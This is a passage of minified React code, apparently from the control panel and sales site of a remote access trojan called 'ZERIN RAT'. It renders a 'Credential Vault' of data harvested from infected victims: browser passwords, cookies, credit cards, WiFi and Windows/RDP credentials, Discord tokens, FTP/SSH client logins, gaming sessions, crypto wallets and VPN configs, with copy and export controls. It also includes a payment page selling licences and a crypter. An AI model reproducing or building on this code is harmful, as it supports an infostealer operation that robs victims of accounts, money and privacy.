grabs"]})]})]}),ie&&L.grabs.length>1&&a.jsx("div",{className:"bg-zerin-bg/50 border-b border-zerin-panel-border/50",children:L.grabs.map((gr,Qr)=>{const Li=(o==null?void 0:o.agent.agent_id)===L.agent_id&&(o==null?void 0:o.grabIdx)===Qr;return a.jsx("button",{onClick:()=>N(L,Qr),className:`w-full text-left px-6 py-2 text-xs transition-colors + ${Li?"bg-zerin-accent-muted/40 text-zerin-accent":"text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-text"}`,children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"font-mono",children:Zb(gr.received_at)}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted font-mono",children:gr.task_id.slice(0,8)})]})},gr.task_id)})})]},L.agent_id)})})})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:!o||!c?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-16 h-16 mx-auto mb-5 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-8 h-8 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Vault"}),a.jsx("p",{className:"text-zerin-text-muted text-xs max-w-xs",children:"Select a client from the left panel to view their grabbed credentials and session data."})]})}):a.jsxs("div",{className:"animate-fade-in",children:[a.jsx("div",{className:"sticky top-0 z-10 bg-zerin-panel/95 backdrop-blur-sm border-b border-zerin-panel-border px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-3 mb-1",children:[a.jsx("h2",{className:"text-base font-semibold text-zerin-text",children:o.agent.hostname}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:o.agent.agent_id.slice(0,8)})]}),a.jsxs("div",{className:"flex items-center gap-3 text-xs text-zerin-text-dim",children:[a.jsx("span",{className:"font-mono",children:o.agent.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:o.agent.os_version}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:Zb(o.agent.grabs[o.grabIdx].received_at)})]})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsxs("span",{className:"text-xs font-mono text-zerin-accent bg-zerin-accent/10 px-2 py-1",children:[Qb(c)," items"]}),a.jsxs("button",{onClick:O,className:`inline-flex items-center gap-1.5 text-xs font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export"]})]})]})}),a.jsxs("div",{className:"p-6 space-y-2",children:[a.jsx($n,{title:"Browser Passwords",count:(((A=c.chrome_passwords)==null?void 0:A.length)??0)+(((T=c.firefox_passwords)==null?void 0:T.length)??0),expanded:d.has("passwords"),onToggle:()=>k("passwords"),children:(()=>{const L=[...c.chrome_passwords??[],...c.firefox_passwords??[]];return L.length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:L.map((ie,de)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:ie.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:ie.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.username,lt),children:ie.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.password,lt),children:ie.password?"••••••••":""})]},de))})]})})()}),a.jsx($n,{title:"Browser Cookies",count:((P=c.chrome_cookies)==null?void 0:P.length)??0,expanded:d.has("cookies"),onToggle:()=>k("cookies"),children:(D=c.chrome_cookies)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cookies.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:L.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:L.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.value,de),children:[L.value.slice(0,40),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx($n,{title:"Credit Cards",count:((G=c.chrome_cards)==null?void 0:G.length)??0,expanded:d.has("cards"),onToggle:()=>k("cards"),children:(R=c.chrome_cards)!=null&&R.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cards.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:L.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.number,de),children:L.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.exp})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx($n,{title:"WiFi Passwords",count:((K=c.wifi)==null?void 0:K.length)??0,expanded:d.has("wifi"),onToggle:()=>k("wifi"),children:(_=c.wifi)!=null&&_.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.wifi.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:L.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password||"(none)"})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx($n,{title:"Windows Credentials",count:((M=c.windows_credentials)==null?void 0:M.length)??0,expanded:d.has("wincreds"),onToggle:()=>k("wincreds"),children:(F=c.windows_credentials)!=null&&F.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.windows_credentials.map((L,ie)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${L.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[L.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),L.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.username,de),children:L.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.type})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx($n,{title:"Discord Tokens",count:((U=c.discord_tokens)==null?void 0:U.length)??0,expanded:d.has("discord"),onToggle:()=>k("discord"),children:(V=c.discord_tokens)!=null&&V.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.discord_tokens.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.source}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:de=>S(L.token,de),children:[L.token.slice(0,20),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx($n,{title:"Applications",count:((Z=c.telegram)!=null&&Z.found?1:0)+(((ae=c.filezilla)==null?void 0:ae.length)??0)+(((ue=c.winscp)==null?void 0:ue.length)??0)+(((be=c.putty)==null?void 0:be.length)??0)+(((ye=c.outlook)==null?void 0:ye.length)??0),expanded:d.has("apps"),onToggle:()=>k("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((q=c.telegram)==null?void 0:q.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),a.jsx("p",{className:"text-xs text-zerin-text font-mono mb-1",children:a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:L=>S(c.telegram.path,L),children:c.telegram.path})}),(((te=c.telegram.files)==null?void 0:te.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:c.telegram.files.map((L,ie)=>a.jsxs("button",{onClick:()=>yr(L.data,L.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",L.name]},ie))})]}),(((C=c.filezilla)==null?void 0:C.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",c.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.filezilla.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[L.host,":",L.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""})]},ie))})})]}),(((Y=c.winscp)==null?void 0:Y.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",c.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.winscp.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""})]},ie))})})]}),(((ne=c.putty)==null?void 0:ne.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",c.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.putty.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:L.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[L.host,":",L.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.user})]},ie))})})]}),(((B=c.outlook)==null?void 0:B.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",c.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.outlook.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""})]},ie))})})]}),!((le=c.telegram)!=null&&le.found)&&!((we=c.filezilla)!=null&&we.length)&&!((Ne=c.winscp)!=null&&Ne.length)&&!((Ae=c.putty)!=null&&Ae.length)&&!(($=c.outlook)!=null&&$.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx($n,{title:"Gaming Sessions",count:((fe=c.steam)!=null&&fe.found?1:0)+((ve=c.epic)!=null&&ve.found?1:0)+(((H=c.minecraft)==null?void 0:H.length)??0)+((se=c.roblox)!=null&&se.found?1:0),expanded:d.has("gaming"),onToggle:()=>k("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((W=c.steam)==null?void 0:W.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[c.steam.loginusers&&a.jsxs("button",{onClick:()=>yr(c.steam.loginusers,"loginusers.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," loginusers.vdf"]}),c.steam.config&&a.jsxs("button",{onClick:()=>yr(c.steam.config,"config.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," config.vdf"]}),(Q=c.steam.ssfn_files)==null?void 0:Q.map((L,ie)=>a.jsxs("button",{onClick:()=>yr(L.data,L.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",L.name]},ie))]})]}),((he=c.epic)==null?void 0:he.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>yr(c.epic.config,"GameUserSettings.ini"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," GameUserSettings.ini"]})]}),(((E=c.minecraft)==null?void 0:E.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",c.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:c.minecraft.map((L,ie)=>a.jsxs("button",{onClick:()=>yr(L.data,`${L.launcher}_accounts.json`),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",L.launcher]},ie))})]}),((ce=c.roblox)==null?void 0:ce.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),c.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:L=>S(c.roblox.cookie,L),children:[".ROBLOSECURITY: ",c.roblox.cookie.slice(0,40),"..."]}):c.roblox.cookie_file?a.jsxs("button",{onClick:()=>yr(c.roblox.cookie_file,"RobloxCookies.dat"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," RobloxCookies.dat"]}):null]}),!((J=c.steam)!=null&&J.found)&&!((xe=c.epic)!=null&&xe.found)&&!((ke=c.minecraft)!=null&&ke.length)&&!((ze=c.roblox)!=null&&ze.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx($n,{title:"Crypto Wallets",count:((X=c.wallets)==null?void 0:X.length)??0,expanded:d.has("wallets"),onToggle:()=>k("wallets"),children:(re=c.wallets)!=null&&re.length?a.jsx("div",{className:"space-y-3 p-4",children:c.wallets.map((L,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:L.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",L.files.length," file",L.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:L.files.map((de,lt)=>a.jsxs("button",{onClick:()=>yr(de.data,de.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",de.name]},lt))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx($n,{title:"VPN Configs",count:((oe=c.vpn)==null?void 0:oe.length)??0,expanded:d.has("vpn"),onToggle:()=>k("vpn"),children:(Oe=c.vpn)!=null&&Oe.length?a.jsx("div",{className:"space-y-3 p-4",children:c.vpn.map((L,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:L.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",L.files.length," file",L.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:L.files.map((de,lt)=>a.jsxs("button",{onClick:()=>yr(de.data,de.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",de.name]},lt))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((et=c.errors)==null?void 0:et.length)??0)>0&&a.jsx($n,{title:"Errors",count:c.errors.length,expanded:d.has("errors"),onToggle:()=>k("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:c.errors.map((L,ie)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[L.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:L.error})]},ie))})})]})]})}),p&&a.jsx("div",{className:"fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent pointer-events-none animate-fade-in",style:{left:p.x,top:p.y,transform:"translate(-50%, -100%)"},children:p.text})]})}function $n({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:"w-full flex items-center gap-2 px-4 py-2.5 text-left hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}async function FV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const WV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function UV(){const{id:e}=il(),[t,n]=m.useState(null),[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useCallback(async()=>{if(e)try{const f=await FV(e);n(f)}catch{i("Payment not found")}},[e]);m.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";m.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?WV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),a.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs(xt,{to:"/",className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),a.jsx(xt,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),a.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:a.jsx("div",{className:"w-full max-w-lg",children:r?a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),a.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),a.jsx(xt,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),a.jsxs("div",{className:"flex items-center gap-2",children:[!c&&a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),a.jsxs("div",{className:"px-6 py-6 space-y-6",children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),a.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),a.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),a.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&a.jsxs("div",{children:[a.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),a.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&a.jsxs("div",{className:"space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),a.jsx("div",{className:"flex items-center gap-2",children:a.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),a.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:s?"Copied!":"Copy Key"}),a.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",a.jsx(xt,{to:"/register",className:"underline 